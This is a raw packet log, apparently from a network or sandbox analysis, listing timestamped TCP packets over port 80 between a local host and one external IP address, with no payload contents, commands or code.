Oct 26, 2024 07:27:10.961716890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961725950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961745977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961769104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961783886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961798906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961807966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961812973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961833000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961852074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961873055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961889982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961905003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.961908102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961931944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.961947918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962011099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962025881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962043047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962049961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962059021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962060928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962075949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962085009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962093115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962100029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962112904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962120056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962136984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962177038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962182045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962199926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962217093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962233067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962239027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962249041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962261915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962264061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962280035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962290049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962296009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.962318897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.962338924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.992477894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992496014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992510080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992614031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.992640018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992655993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992703915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992769957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.992805004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992855072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992878914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992891073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992902040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992902994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.992929935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992938995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992942095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992954969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992957115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.992961884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992985010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.992985964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992993116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.992997885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993014097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993015051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993026018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993031025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993048906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993072033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993086100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993098974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993103027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993103027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993103027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993113041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993139029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993141890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993155956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993172884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993189096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993211031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993230104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993242979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993256092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993259907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993277073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993283987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993305922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993341923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993356943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993371010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993381977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993381977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993411064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993508101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993525028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993540049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993561029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993586063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993617058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993632078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993645906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.993679047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993693113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.993999004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994024038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994040012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994061947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994081020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994105101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994119883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994134903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994148016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994163036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994164944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994184971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994187117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994203091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994204044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994219065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994226933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994235039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994249105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994255066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994267941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994270086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994286060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994288921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994297981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994311094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994326115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994326115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994340897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994349957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994358063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994370937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994378090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994389057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994401932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994409084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994427919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994452953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994781971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994796991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994834900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994843006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994860888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994877100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994882107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994901896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994904995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994919062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994925022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994935036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994935989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994951010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994959116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994977951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.994991064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.994997978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995032072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995284081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995326042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995359898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995377064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995392084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995400906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995409012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995420933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995421886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995435953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995439053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995448112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995451927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995455980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995491028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995515108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995521069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995531082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995548010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995549917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995572090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995579004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995588064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995601892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995606899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995620966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995631933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995635986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995650053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995652914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995668888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995680094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995685101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995701075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995702982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995719910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995728016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995735884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995750904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995752096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995765924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995770931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995781898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995790958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995798111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.995819092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.995837927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996081114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996123075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996231079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996247053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996263027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996272087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996277094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996288061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996294022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996304035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996309996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996325016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996332884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996340036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996347904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996371984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996372938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996387959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.996396065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996416092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.996429920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.026933908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.026962042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.027026892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.044713020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.044729948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.044779062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.044794083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.044800043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.044800043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.044822931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.076730967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076746941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076805115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.076883078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076899052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076922894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076937914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076941967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.076956034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.076963902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.076982021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077003956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077328920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077384949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077399969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077416897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077428102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077435017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077450991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077492952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077672005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077686071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077709913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077732086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077752113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077760935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077775955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077797890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077800989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077806950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077816963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077838898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077841043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077857018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077862024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077872038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077879906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077894926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077900887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077910900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077914953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077927113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077934027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077943087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077950954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077960014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077970028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077975035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077985048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.077987909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.077992916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078022003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078022957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078046083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078047991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078062057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078077078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078084946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078085899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078102112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078110933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078118086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078126907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078134060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078145981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078156948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078164101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078172922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078186989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078186989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078205109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078206062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078221083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078223944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078238010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078253984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078267097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078269005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078284979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078290939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078299999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078315973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078318119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078330994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078336000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078349113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078361034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078388929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.078916073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.078932047 CEST	80	49991	185.215.113.84	192.168.2.6
